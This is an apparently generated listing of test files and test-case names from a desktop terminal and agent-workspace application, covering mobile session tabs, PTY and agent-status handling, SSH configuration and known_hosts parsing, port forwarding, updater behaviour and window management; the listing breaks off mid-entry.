src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts: hydrates a persisted SSH-owned pane before an attached renderer publishes its graph. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-05.spec.ts: publishes the desktop's tab name over the live agent title, and the live title without one; uses fresh neutral PTY titles over stale mobile snapshot and OSC titles; operates PTY-backed mobile session terminals without a renderer graph; reuses pane close for live PTYs that do not own a renderer tab; lists PTY-backed mobile session terminals without a renderer graph; shows and resolves active PTY-backed mobile session terminals without a renderer graph. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts: creates mobile session terminals for folder workspaces in a headless runtime server; spawns fresh headless SSH mobile session terminals instead of reattaching synthetic local ids; hydrates headless mobile session terminals from the host workspace session; keeps live headless mobile session terminals when a desktop renderer publishes without them; publishes laptop-created remote runtime split terminals to phone session tabs. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts: does not report headless wake degradation without sleeping records; does not wake slept agents for non-mobile session-only activation; does not rewrite unread metadata when a mobile activation finds the worktree already read; returns unread:false from worktree.ps after a mobile activation clears the flag; materializes pending mobile session terminals without focusing desktop clients; closes browser mobile session tabs when addressed by browser workspace id. src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts: resolves mobile terminal surfaces by exact split leaf; closes the matching mobile terminal UUID leaf without closing the whole tab; closes the whole mobile terminal tab when addressed by parent tab id; activates the active split leaf when addressed by parent tab id; clears unread metadata on mobile worktree activation without focusing desktop clients; wakes slept agents on the host renderer when a phone activates a worktree. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-05.spec.ts: publishes the hook provider session on a headless mobile tab so native chat can address the transcript; recovers the agent type from the hook row when the pane was launched without an agent hint; reads one agent-status snapshot per projection, not one per terminal tab; waits for unknown-launch foreground owner before publishing Pi-compatible mobile status; keeps Pi-compatible mobile session status as Pi for an unknown-launch foreground pi PTY; keeps renderer-vetted mobile agent status for custom-titled terminals. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-04.spec.ts: publishes terminal surface agent status for paired web clients; preserves authoritative OMP identity for Pi-compatible remote terminal snapshots; normalizes a remote OMP title without republishing omitted launch identity; skips the foreground-process probe when the PTY launch agent is already known; probes the foreground process only on a status transition for unknown launch agents; passes the client signal and the slept-worktree refusal to the spawn. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-03.spec.ts: does not use stale runtime-created PTY status when a neutral PTY title exists; recognizes runtime-created Codex PTY handles from the ready prompt; recognizes runtime-created Antigravity PTY handles from the ready prompt; recognizes live leaf Antigravity terminals from the ready prompt; recognizes a later Antigravity header with a prompt but no model line; keeps mobile terminal surfaces visible while their leaf handle is pending. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status-part-02.spec.ts: lets Claude agents management titles clear stale runtime-created title status; does not recognize live Claude agents panes from a Claude foreground process; does not let stale tab-level agent titles override current neutral pane titles; lists live terminals with fresh pane titles over stale tab titles; lets adopted neutral pane titles use non-shell foreground fallback; lets adopted neutral pane titles retry wrapper foregrounds until recognized; authorizes settled CLI prompts only after positive %s foreground identity; does not recognize arbitrary foreground TUIs as running agents; lets live neutral pane titles retry wrapper foregrounds until recognized; lets current Claude agents PTY titles override stale runtime-created OSC titles; does not let stale Claude agents OSC titles suppress current PTY title activity. src/main/runtime/orca-runtime-tests/terminal-handles-and-agent-status.spec.ts: keeps preallocated terminal handles valid across renderer reloads; preserves runtime-created PTY process identity after graph unavailable; keeps prompt bindings fenced across runtime restarts without provider incarnation; recognizes runtime-created PTY handles with agent launch titles; does not treat a bare Cursor Agent native title as a running agent session; uses stale runtime-created PTY status when there is no title or foreground evidence. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-07.spec.ts: keeps orphaned list and show writability aligned with the send gate. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-04.spec.ts: cancels a coalesced SSH worker recovery retry when its provider disconnects. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-03.spec.ts: retries renderer reveal before clearing an adopted legacy worker sleeping record. src/main/runtime/orca-runtime-tests/terminal-output-and-worker-recovery-part-02.spec.ts: recovers exported ORCA_TERMINAL_HANDLE from discovered live PTY sessions. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-12.spec.ts: applies ANSI erase-from-start line controls in retained previews; applies ANSI stripping for private or intermediate CSI line controls; applies ANSI stripping for unsupported erase-line modes; reveals an agent terminal under the pane the caller reserved; keeps a fresh %s pane host-owned when a desktop window is available; keeps desktop publication %s separate from the reserved host spawn; mints its own pane when the reserved leaf is malformed, and reports the one it used; starts an agent terminal with the model the caller picked; starts an agent terminal without a model flag when no pick was made; attributes a startup-agent launch named %s as %s; attributes a fresh agent session the host builds as unknown; leaves a bare agent command the user typed out of launch attribution. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-11.spec.ts: trims oversized terminal output bursts without per-line array shifts; builds terminal previews without mapping the full retained tail; keeps recent PTY replay output capped without needing previous data for large chunks; applies terminal redraw controls before retaining previews; applies ANSI terminal redraw controls before retaining previews; retains multi-line ANSI footer redraws instead of appending old frames; keeps the cursor column when erasing full lines in multi-line redraws; applies ANSI split redraw controls without leaking raw params. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-10.spec.ts: returns renderer visible screen lines through terminal.read RPC JSON result; separates composer drafts from provider-owned terminal screens. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-09.spec.ts: reports an in-flight PTY focus as not navigated when its notifier disappears; reports graph-leaf focus as not navigated without a host notifier; grounds the provider mode tracker before a later chunk, in the emulator order; grounds an in-flight provider snapshot capture so it cannot publish the pre-reset screen; waits for terminal exit and resolves with the exit status; keeps terminal read payloads bounded while retained output remains pageable; trims terminal read preview character budget without per-line array shifts. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-08.spec.ts: submits a silent Claude composer once after the bounded render fallback; chunks large terminal.send text before provider writes; yields chunked terminal input through immediates between writes; yields while validating accepted large terminal.send text before provider writes; reveals a background terminal session when focusing its handle; replays captured launch config when focusing a background agent session; reveals background terminal sessions with the freshest PTY title; renames background terminal handles without requiring a visible tab; keeps a background terminal handle stable while reveal adoption is racing. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-07.spec.ts: resolves tui-idle when a stale Codex prompt is followed by Antigravity readiness; returns an agent-neutral blocked wait result for update prompts; returns an agent-neutral blocked wait result for workspace trust prompts; returns an agent-neutral blocked wait result for cwd selection prompts; returns a blocked wait result for Codex model migration prompts; returns a blocked wait result for Codex startup hook review prompts; returns an agent-neutral blocked wait result for generic interactive prompts; splits text and enter writes for background terminal handles; types the lead line for %s: %s; submits through the agent-specific PTY timing policy for %s. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-06.spec.ts: waits for exit on background terminal handles; keeps retained PTY transcript memory when controller refresh fails; resolves tui-idle from an Antigravity ready prompt preview; resolves Antigravity ready prompts with newline-heavy pasted tails without splitting; resolves live-leaf tui-idle from an Antigravity ready prompt preview. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness-part-03.spec.ts: spawns the available Qoder command for a captured same-session resume: %s; does not use the local Windows shell setting for remote Windows bare agent creates; matches canonical bare agent commands when a command override is configured; keeps non-bare agent command terminal creates unchanged; keeps disabled bare agent command terminal creates unchanged; injects runtime hook receiver env into terminal sessions; creates background terminal sessions for a $label; creates background terminal sessions for a $label; enables Claude Agent Teams only for direct Claude launches when configured in-process; reveals Claude Agent Teams launches with the rewritten launch config; preserves Claude Agent Teams for sequenced Claude launches. src/main/runtime/orca-runtime-tests/terminal-creation-and-readiness.spec.ts: creates visible terminal sessions without asking the renderer to focus a tab; asks the pty controller for the requested shell instead of a startup command; knows the agent a flagged launch command names before any process read; retires a flagged command pane identity when the command exits; retires only receipted restored PTY authority on command completion and exit; forgets synthetic handles when disconnected PTY records are pruned. src/main/runtime/orca-runtime-tests/headless-snapshots.spec.ts: returns OSC titles from headless main terminal snapshots; adopts renderer-seeded titles into headless main terminal snapshots; returns cwd metadata from seeded headless main terminal snapshots; adopts OSC7 host metadata from seeded headless terminal scrollback; falls back to the renderer snapshot for hidden-output recovery without headless state; keeps an empty headless snapshot authoritative for hidden-output recovery; advances the absolute output sequence across a daemon stream gap; emits explicit OSC 9999 agent status from runtime PTY data. src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-02.spec.ts: falls back to the provider snapshot for a restored PTY with no mounted renderer; falls back to the available mirror when authoritative provider history is unavailable; keeps an empty renderer snapshot when the provider has no retained content; keeps restored provider history authoritative after later live output; uses provider alternate-screen state while a partial model is unsafe; prefers the tracked title over the headless emulator lastTitle; keeps the cursor-agent literal in record-fallback snapshots only without a tracker title; touches mobile snapshots once for decorative spinner ticks, again on idle. src/main/runtime/orca-runtime-tests/local-worktree-creation-part-02.spec.ts: creates a same-repo PR branch override from a resolved head SHA and matching push target; skips broad remote fetch for an existing full-SHA PR base; creates a selected Bitbucket PR branch override from a matching remote branch; suffixes an existing PR when a matching push target lacks selected PR metadata; suffixes a matching push target branch when selected PR metadata has no PR number; suffixes a matching push target branch when the existing PR is different; suffixes a selected PR remote conflict when the PR lookup fails; checks out an unused runtime PR branch only when it is at the resolved head SHA; suffixes only the runtime worktree path when an exact PR branch checkout path exists. src/main/runtime/orca-runtime-tests/local-worktree-creation.spec.ts: returns runtime local base update suggestions from addWorktree; creates a runtime local worktree from a usable persisted local branch base; does not create a runtime local worktree when the refresh fails and no local base ref exists; creates a branchNameOverride worktree from the selected matching remote base ref. src/main/runtime/integrations/skill/orca-runtime-skill-recovery.test.ts: continues skill management after startup recovery fails. src/main/runtime/orchestration/mailbox/routing/orchestration-mailbox-detached-routing.spec.ts: uses bounded ownership lookup for direct arrivals while the agent cannot take input; wakes a bound Run waiter when same-Run direct mail arrives; keeps an unowned detached-recipient message in its direct mailbox; uses primary-key lookups for bounded routing updates. src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-delivery.test.ts: remove only literal registration import/call pairs import './orchestration-mailbox-pointer-cli-command.spec'; no additional authored credit. src/main/runtime/orchestration/mailbox/terminal-pointer/orchestration-mailbox-pointer-cli-command.spec.ts: renders the %s CLI command in a mailbox pointer. src/main/runtime/rpc/methods/terminal/terminal-multiplex-link-estimate.test.ts: sizes a slow high-latency link near twice its bandwidth-delay product; never paces a LAN, even when its client parses slowly; never paces a fast link; returns to legacy windows when the path RTT jumps. src/main/runtime/rpc/methods/terminal/terminal-snapshot-scrollback-rows.test.ts: steps down the row ladder when history is over the byte budget; tries the larger first row count, then the usual ladder within the same byte budget. src/main/runtime/rpc/server/pairing/network/windows-default-route-interfaces.test.ts: returns unknown when route inspection fails or emits malformed data; does not inspect routes outside Windows. src/main/runtime/rpc/server/pairing/pairing-offer-owner-cli.test.ts: is refused to a paired %s client; reports a failed widening instead of advertising an unreachable address. src/main/runtime/rpc/terminal-multiplex-end-verdict.test.ts: reports exited only when the owning runtime completes the exit waiter; reports unverifiable when the runtime cannot observe the exit waiter; reports unverifiable when a disconnected PTY resolves with unknown liveness. src/main/runtime/session-graph/headless-runtime-graph.spec.ts: lets a session tab inventory settle on a host no renderer publishes for. src/main/runtime/session-graph/runtime-graph-standing-contracts.test.ts: remove only literal registration import/call pairs import { registerHeadlessRuntimeGraphTests } from './headless-runtime-graph.spec', registerHeadlessRuntimeGraphTests(); no additional authored credit. src/main/runtime/session-tabs/structured-conversation-tab-title.test.ts: bumps the stored snapshot version only when the title changes. src/main/runtime/session-tabs/terminal-close-observed-exit.test.ts: keeps the healthy aggregate verification and delayed physical exit behavior; uses a stamped exit for the incarnation that was actually being closed. src/main/runtime/terminal/identity/terminal-identity-probe.test.ts: answers live for a structured worker without touching the PTY graph; answers live for a PTY handle the runtime still holds; runs the full leaf check for a handle with no live PTY; answers not-live for a stale handle; propagates \"could not look\" rather than reporting it as a dead handle. src/main/runtime/terminal/layout/paired-desktop-server-writes-layout-owner.test.ts: names the tab in main’s layout through terminal.rename; takes a window-style layout.apply close as already stopped, so the terminal runs on. src/main/runtime/terminal/lifecycle/pty-lifecycle-generation-retention.test.ts: retains no lifecycle generation after a spawn/exit cycle. src/main/runtime/terminal/lifecycle/run-terminal-user-open.test.ts: reads a freshly spawned terminal as used once a user opens its tab, not on a probe; keeps the open mark on the process a user open starts. src/main/runtime/terminal/surface/terminal-surface-replies-window.test.ts: from a desktop window that mounts both panes; from a server with no window. src/main/runtime/terminal/surface/workspace-layout-projection.test.ts: carries views for a partition that holds none yet. src/main/runtime/terminal/view/terminal-subscribe-exit-waiter-leak.test.ts: releases a signalled exit-waiter when the signal aborts. src/main/runtime/terminal/wait/orca-runtime-exact-worker-provider-session.test.ts: selects a local hook status for a local pane. src/main/runtime/terminal/wait/prime-agent-screen-readiness-transcripts.test.ts: keeps the footer and the bare caret on screen mid-turn; %s: the screen alone reads ready during %s. src/main/runtime/workspaces/startup/runtime-worktree-agent-startup.test.ts: uses per-launch arguments and preserves launch telemetry; attributes a startup agent whose caller named no surface as unknown; launches %s bare for an absent or blank prompt; attributes a %s draft launch named %s as %s; merges an automation's extras over the host defaults; threads worktree-create extras into the startup build; returns an enabled requested agent without detecting; returns the default when nothing was requested; detects instead of using the default when the requested agent is disabled; starts no agent when the default is blank; detects an enabled agent on this host when nothing usable was named; starts no agent when detection finds none. src/main/runtime/workspaces/startup/runtime-worktree-startup-readiness.test.ts: pastes and submits through composer readiness, never typing raw input; types the follow-up on WSL or SSH-to-Windows once the agent is in front, as before; cleans up the deadline when the composer was already captured; a draft that is not submitted is pasted on the box cursor, as before; takes the box after the grace when the row never comes, whatever repaints; takes the box at the deadline when the grace would outlast the budget; lets a dialog on screen veto a grace; refuses the deadline inside a pending grace while a shell is in front; takes the box at the deadline inside a pending grace with the agent in front; takes the box at the deadline after a refused grace once the agent is in front. src/main/skills/skill-install-transaction.test.ts: installs, previews unchanged bytes, and updates a clean receipt-owned skill; preserves the old version after a %s filesystem failure. src/main/speech/model-manager-download-resume.test.ts: requests the remaining bytes when a clean range response ends before the file total; bounds a server that advances by pathologically tiny segments forever. src/main/ssh/config/ssh-config-parser.test.ts: parses a basic host block; parses multiple host blocks; skips wildcard-only Host entries; skips Host entries with only pattern characters; parses IdentityFile with ~ expansion; parses Windows-style IdentityFile with ~ expansion; parses quoted scalar values like OpenSSH; parses equals-form scalar directives; parses IdentityAgent with ~ expansion; parses IdentitiesOnly; parses GSSAPIAuthentication; keeps the first GSSAPIAuthentication value like OpenSSH; parses ProxyCommand, ProxyUseFdpass, and ProxyJump; ignores comments and blank lines; handles case-insensitive keywords; stops current block on Match directive; returns empty array for empty input; creates one parsed host per concrete alias on a multi-pattern Host line; applies identity agent settings to every concrete alias on a multi-pattern Host line; defaults port to 22 for invalid port values; converts hosts to SshTarget objects; uses host alias as hostname when HostName is missing; skips hosts that are already imported; defaults username to empty string when not specified; carries through identityFile, identityAgent, identitiesOnly, proxyCommand, and jumpHost; carries through gssapiAuthentication; imports duplicate aliases only once and keeps the first concrete host; maps hosts for the picker and flags aliases already in Orca; de-dupes aliases and defaults missing fields; parses hostname, user, port from ssh -G output; collects multiple identity files; parses forwardagent yes; defaults port to 22 when missing; returns empty hostname when missing; returns undefined user when missing; handles empty output; skips lines without spaces; parses proxycommand and filters \"none\"; parses proxyusefdpass yes; parses proxyjump and filters \"none\"; handles ~ expansion in identity file paths; handles Windows-style ~ expansion in identity file paths; parses identityagent with ~ expansion; preserves identityagent none so auth can disable agent fallback; parses identitiesonly yes; parses gssapiauthentication; parses controlmaster options and filters controlpath none. src/main/ssh/config/ssh-known-hosts-source.test.ts: splits the space-separated list ssh -G prints on one line; expands ~ in a reported path; keeps a double-quoted path containing spaces whole; falls back to the default files when ssh -G reported nothing; drops an explicit none without falling back to the defaults; splits both known_hosts lists on one line each; reads StrictHostKeyChecking, including accept-new; reads HostKeyAlias and prefers it for the lookup; reads the non-default port; reports that the lookup came from an alias, so the port is not appended; reports no alias when the dialed host is used; unions the entries of every file; skips a path that is a directory; returns nothing when no file can be read; reports nothing unreadable when every file parses; does not count an empty file as unreadable; prefers HostKeyAlias over the resolved hostname; uses the dialed host, because a resolved hostname can just echo the label; still prefers an explicit HostKeyAlias over the dialed host; falls back to the dialed host when nothing was resolved; is rejoined when the split fragments resolve to nothing; leaves a single unresolvable path alone rather than inventing one; expands the __PROGRAMDATA__ token rather than passing it through as a path; does not rewrite a path that merely BEGINS with the token characters; keeps a drive-letter path with mixed separators intact; splits a spaced Windows home into the fragments the rejoin has to put back. src/main/ssh/config/ssh-known-hosts.test.ts: reads the algorithm from the blob rather than trusting the line; rejects %s; refuses a malformed blob: %s; uses the bare host on the default port; tries the bracketed form first and falls back to bare off-port; matches an exact line; matches case-insensitively; reports a changed key of the same type; reports unknown for %s; matches any host in a comma list; matches the bracketed form on its port; does not apply a bracketed entry to the default port; falls back to a bare line when off-port; never reports a change from the fallback pass; matches a bare literal on the default port; matches a bracketed literal on its port; reports a change for a literal; handles %s; still reports a change for a different key on a revoked host; skips a line carrying an unrecognised marker; does not report a change when only another key type is on file; matches within the same type; accepts CRLF terminators; skips blanks, comments and surrounding whitespace; accepts a hit regardless of which file holds it (%s); never brackets the alias, whatever the port; still brackets an ordinary host on a non-default port; matches a bare alias entry on a non-default port; still accepts the unmodified key field; accepts a hashed entry whose salt is a full SHA1 digest; still accepts the unmutated ssh-keygen -H vector; falls back to the bare host line on a non-default port, as ssh did; refuses a key type it has not seen for a host it knows, as ssh did. src/main/ssh/connection/ssh-connect-config.test.ts: returns undefined when no default keys exist; returns the first existing key file; probes regular and FIDO2 keys in stable default order; keeps a regular default ahead of a malformed FIDO2 default; uses target host/port/username; falls back to resolved config when target fields are empty; keeps imported endpoint fields as the fallback when ssh -G is unavailable; sets readyTimeout to CONNECT_TIMEOUT_MS; sets keepaliveInterval to 15s; enables keyboard-interactive auth so MFA challenges can be answered; uses agent auth when no explicit key and SSH_AUTH_SOCK is set; enables agent forwarding when OpenSSH config requests it and an agent is available; does not enable agent forwarding without a usable agent; resolves IdentityAgent SSH_AUTH_SOCK from the environment; uses the Windows OpenSSH agent pipe when no environment socket is available on Windows; wraps agent auth with IdentityFile filtering when IdentitiesOnly is enabled; applies a manual target IdentitiesOnly setting when ssh -G reports it off; includes unencrypted target.identityFile auth when an agent is available; defers encrypted target.identityFile auth when an agent is available; uses keyFile auth when target.identityFile is set and no agent is available; includes unencrypted resolved identityFile auth when an agent is available; defers a default-path resolved identityFile to the no-agent retry; offers the keyboard-interactive challenge when the agent defers no key; provides fallback key when no agent is available; can force private key inclusion for the post-agent fallback path; falls back to resolved proxyCommand; returns structured jump-host config for target.jumpHost; returns structured jump-host config for resolved proxyJump; returns undefined when no proxy is configured. src/main/ssh/connection/ssh-connection-auth-fallback.test.ts: resolves OpenSSH config using configHost when present; tries ssh-agent before reading an explicit private key; falls back to direct private key auth when agent auth fails; falls back to direct private key auth after too many agent authentication failures; answers bounded keyboard-interactive challenges such as Duo 2FA. src/main/ssh/connection/ssh-connection-store.test.ts: lists picker suppression aliases without consulting re-adoption tombstones; getTarget delegates to store; addTarget generates an id and persists; saves the CLI control switch as given, with no consent stamp; addTarget stamps source as manual by default; addTarget preserves an explicitly provided source; inserts a new config host stamped as ssh-config; asks the parser for all hosts — reconciliation happens in the store; updates an existing config-sourced target when the port changed; refreshes gssapiAuthentication on sync; never overwrites a manual target that owns the alias; does not rewrite an unchanged config-sourced target; returns empty array when nothing changed; tombstones a deleted config-sourced host so re-import skips it; suppresses a deleted manual target from config discovery; re-adding a deleted host reclaims its alias so sync stops suppressing it; editing a target reclaims its alias from the deleted set; records a tombstone when removing any user-facing target; re-adopts orphaned repos when the same host is re-added. src/main/ssh/connection/ssh-connection.test.ts: transitions to connected on successful connect; captures the negotiated SSH server key fingerprint; allows concurrent exec commands for ssh2 transport; removes startup listeners after ssh2 connect succeeds; scopes lifecycle events and pending handshake timers to one mock client; enables TCP_NODELAY on the new ssh2 client after a reconnect cycle; transitions through connecting → connected states; reports error state on connection failure; disconnect cleans up and sets state to disconnected; getTarget returns a copy of the target; getState returns a copy of the state; throws when connecting a disposed connection. src/main/ssh/orcad-migration-stuck-host-profiles.test.ts: never leaves a running terminal behind; is offered only when leaving saved state behind would clear the refusal. src/main/ssh/orcad-runtime-maintenance.test.ts: keeps a connect from retrying a build an explicit Update also failed; offers Force when Update was refused by policy; forwards anew after an activation, since the new slot may bind another port; passes a refusal through and leaves the server linked; forwards anew once a serving slot is restored, which may have bound another port. src/main/ssh/port-forwarding/ssh-port-forward.test.ts: reports the port the OS bound when an ssh2 forward asks for port 0; adds an ssh2 port forward and returns entry; adds a system SSH port forward when no ssh2 client is available; reports the port a system SSH forward resolved when asked for port 0; passes resolved OpenSSH config to system SSH port forwards; disposes a system SSH tunnel when removing the forward; lists forwards filtered by connectionId; removes a forward by id; awaits forward close when removing a forward for user actions; returns null when removing nonexistent forward; removes all forwards for a connection; dispose removes all forwards; stores label in the entry; preserves the existing id when updating a forward succeeds. src/main/ssh/ssh-channel-multiplexer.test.ts: sends a JSON-RPC request and resolves on response; assigns unique request IDs; sends notifications without expecting a response; dispatches incoming notifications to handler; sends one keepalive frame per cadence tick; drives keepalive sends AND dead-link detection from a single interval; resolves false immediately on a disposed mux; throws on request after dispose; reports isDisposed correctly; clears registered handlers on dispose; does not retain handlers registered after dispose. src/main/ssh/system-transport/system-ssh-forward-process.test.ts: spawns exactly the argv the orphan matcher is given, LogLevel=INFO included; runs port forwards unmultiplexed even when ssh_config disables muxing; preserves manual target port and identity options in the forwarded ssh command; does not spawn ssh when the requested local forward port is already in use; spawns ssh after the requested local forward port preflight succeeds; resolves startup after the grace period when ssh keeps running; sends SIGTERM then SIGKILL when the process does not exit; does not resolve stop until the process exits. src/main/ssh/system-transport/system-ssh-loopback-route.test.ts: dials the held forward ahead of the alias so OpenSSH keeps these over ssh_config; drops a manual target's own port and proxies, which would fight the route; never routes a forward, whose argv must stay stable for orphan recovery; %s → %s; opens the forward over the real proxy, then proves a login over the route; lands the forward on the sshd and known_hosts name the direct route resolved; holds the forward with server-alive probes; never lets the background forward or probe ask for credentials; starts no forward when admission refuses the route; stops the forward when sshd refuses logins over it; stops the whole forward process tree on Windows, once; reports a forward that already exited before anyone listened for it. src/main/startup/browser-process-user-agent-ordering.test.ts: explains admission refusal before a desktop launch exits; explains an orcad holding the profile instead of exiting silently; does not acquire profile admission for a duplicate launch; executes after the dev app name and before later preflight work; exits and releases admission after pending profile move recovery fails; keeps Linux background startup failures console-only and immediate; keeps Linux serve startup failures console-only and immediate. src/main/startup/quit/quit-path-durable-write-blocking.test.ts: store.flushAsync() issues no synchronous fs syscalls; store.flushAsync() also moves the active-view and github-cache sidecars off the thread; stats.flushAsync() issues no synchronous fs syscalls; Grok session cleanup issues no synchronous fs syscalls; stats.flushAsync() closes out live agents before it returns, not when its write lands; a stalled mount leaves the event loop live instead of parking it; store.flushAsync() is one idempotent final barrier; store.flushAsync() resolves instead of throwing when the profile mount rejects writes. src/main/stats/agent-session-transition-recorder.test.ts: counts a hook-only agent that never writes an agent-shaped terminal title; never opens a session from a replayed or disk-restored working status; still closes a live session when the terminating status arrives as a replay; counts one session per turn across repeated working/done cycles; closes an open session when its pane is torn down; bounds the mirror and closes what it evicts; stops the session when the main agent settles and only a watch loop holds the row working; keeps the session open while a subagent outlives the main agent, and closes it when the child settles; dates the stop by the evidence when a shell outlives the last subagent; opens a new session dated by the observation when the main agent resumes after monitoring; never dates a reopen before the close a fact-less OSC repaint caused; dates the first live row after a restored one by the evidence, not the restored clock; treats an unchanged answer as a snapshot, never a transition; opens only on a live working edge; closes only a session it opened. src/main/text-generation/commit-message-text-generation-model-discovery.test.ts: returns static catalog models without spawning for static agents; discovers dynamic models through the agent CLI; discovers dynamic models through the configured agent command override; falls back to static models when dynamic discovery returns no parseable models; falls back to the first discovered non-Pi model when its static default is unavailable. src/main/text-generation/pull-request-context.test.ts: does not fetch unrelated fork remotes before generating PR context; bounds exact remote-ref probe concurrency for a large remote list; reports no branch change because PR context preparation is read-only; keeps a remote-qualified base when the selected base includes the remote. src/main/text-generation/source-control-local-process.test.ts: asks the supervisor to stop and leaves its group to it; signals nothing once the supervisor has exited; stops an agent that ignores its stdin end through its supervisor. src/main/updater/linux-package/linux-package-update-recovery.test.ts: retains the downloaded package with the digest from the event metadata; requires a string downloaded path; accepts an uppercase extension; requires a non-empty string version; matches an absolute file URL by basename; accepts duplicate entries that agree on the digest; refuses an entry with a missing or non-string digest; refuses a digest that is not base64 at all; refuses a malformed percent-encoded URL; refuses a missing or non-array file list; tolerates a non-object event; replaces the retained artifact with a newer download; keeps the retained artifact when a new download has no usable digest; keeps the retained artifact when an unrelated download event arrives; clears the retained artifact; preserves the artifact across a recheck of the same version; clears the artifact when another version takes over; preserves the artifact for an unknown or empty version; is a no-op without a retained artifact; returns the built command and package file name for a verified package; reports missing without a retained artifact; propagates a package-manager discovery failure; rejects a well-formed digest that belongs to another file; never hashes a package that a malformed digest failed to arm; rejects a path outside the cache root; rejects the cache root itself; rejects a package in the updater directory itself; rejects a pending directory that is a symlink out of the cache; performs one hash pass for concurrent requests; revalidates once the in-flight pass settles; does not reuse an in-flight pass for a different artifact; starts a fresh proof when the same package is captured again; returns the verified package path; returns missing without a retained artifact. src/main/updater/releases/updater-prerelease-feed-readiness.test.ts: accepts a GitHub %s asset redirect as ready; reports a GitHub asset request error as unavailable; reports not-ready with a verified last-good tag when the newest assets are unavailable; does not classify a non-positive tag limit as feed unavailability; reproduces the v1.4.142 publishing incident as not-ready; reports transport failures as unavailable instead of not-ready; treats an explicit asset 404 as not-ready when another asset is unavailable; accepts absolute manifest asset URLs without rewriting them to release asset paths; returns not-ready with an older ready update as last-good while newest is publishing. src/main/updater/releases/updater-release-builds.test.ts: lists hourly builds from the dedicated repo, newest first; lists daily builds from the dedicated repo, newest first; separates stable from rc in the shared main repo; skips drafts and unparseable tags; keeps a composed release title and drops one that repeats the tag; hides builds that published no artifact for this platform; returns an empty list when no build has this platform artifact; keeps mac builds visible on macOS regardless of the Windows leg; resolves the platform installer download url; leaves the installer url null when the release published no installer; tolerates a release whose assets are missing or malformed; sends the local gh token as a bearer header when one is available; sends no authorization header when gh has no token; retries unauthenticated once when GitHub rejects the token; does not retry a 401 that was already unauthenticated; falls back to the per-IP bucket when the token is rate limited and tells the gh breaker; reports a secondary limit carrying retry-after without retrying or tripping the breaker; records a primary limit in the token scope %s; keeps %s authenticated when only %s is blocked; skips the token while its scope %s is blocked; surfaces a rate limit with its reset time and a sign-in hint when unauthenticated; omits the sign-in hint when the rate-limited request was authenticated; treats 429 as a rate limit; reports a 403 without rate-limit headers as a plain HTTP error; reports a missing hourly repo distinctly; is null when GitHub sent no reset; prefers retry-after over the primary reset epoch; falls back to the primary reset epoch when there is no retry-after; reads retry-after as seconds; reads retry-after as an HTTP date; pins an hourly tag at the hourly repo download path; pins a daily tag at the daily repo download path; pins a stable tag at the main repo download path; rejects a tag that is not a version. src/main/updater/updater.build-channel-selection.test.ts: uses the display label in the unsupported-platform %s pinned-build error; still pins %s from an unsigned Windows dev build; restores ordinary release checks after local build selection fails; opts into the RC channel when checkForUpdatesFromMenu is called with includePrerelease; pins the generic feed to a perf-tagged prerelease when requested; surfaces no-update feedback when no newer perf-tagged prerelease exists; keeps prerelease publishing-window misses on the generic retry path; leaves the feed URL alone for a normal user-initiated check. src/main/updater/updater.check-preflight.test.ts: ignores a stale update-not-available event after a new check starts preflight; deduplicates repeated manual checks while the immediate checking status is active. src/main/updater/updater.prerelease-fallback.test.ts: retries a prerelease check once against the previous feed tag when the manifest is missing; surfaces a promise-only prerelease fallback failure after the primary error event. src/main/updater/updater.publishing-window-feed.test.ts: repins the generic feed to the newest RC tag for a prerelease user; repins the generic feed to a newer stable tag for a prerelease user; pins a stable fallback when Atom has no newer prerelease; uses last-good concrete feed when a user-initiated check lands during publishing; can offer an older fully published update while the newest release is publishing; keeps background publishing-window fallback on the short retry cadence. src/main/updater/updater.quit-and-install.test.ts: surfaces an accepted retry before electron-updater emits download progress; defers quitAndInstall and runs its launcher within the launch PATH scope; runs pre-quit cleanup before local PTY cleanup during update install; keeps optional pre-quit cleanup fail-and-continue behavior by default; ignores duplicate quitAndInstall requests while the shared delay is pending; arms the forced-exit watchdog once the install commits; disarms the forced-exit watchdog when sync install error recovery keeps the app open. src/main/window/createMainWindow-markdown-editor-focus.test.ts: ignores traffic light sync IPC on non-macOS; still intercepts Cmd+Shift+B and Cmd+Alt+B when the markdown editor is focused; coerces non-boolean setMarkdownEditorFocused payloads to false; opens a table-aware context menu synchronously without a renderer query; builds the plain edit menu for the one right-click the renderer marks as plain text. src/main/window/createMainWindow-renderer-crash-recovery.test.ts: notifies the caller when the renderer process is gone; passes the renderer webContents id through crash recording and recovery callbacks; forwards expected renderer teardowns so the recorder can diagnose suppression; reloads the app shell after an unexpected renderer process loss; does not reload after renderer loss when recovery is disabled; stops auto-reloading after a rapid renderer crash loop trips the breaker. src/main/window/dashboard-popout-window.test.ts: updates the title after language initialization and unsubscribes when closed; lets its preload expose saved WSL hosts in serve-only, and passes nothing otherwise; creates a native-frame window with the shared preload and no webview surface; shows the window on ready-to-show; loads the prod file entry; loads the dev server URL when in dev; focuses the existing window instead of creating a second one; trusts only the live popout webContents; restores a minimized window when re-requested; restores valid persisted bounds; discards off-screen persisted bounds and falls back to defaults; persists bounds on resize after the debounce, guarding near-minimum sizes; keeps saving bounds after a vetoed quit and freezes them only on an allowed quit; closeDashboardPopout closes an open window; applies the persisted app zoom level on dom-ready; follows app zoom changes while open and unsubscribes on close; zoomDashboardPopoutIfFocused steps the popout zoom only while 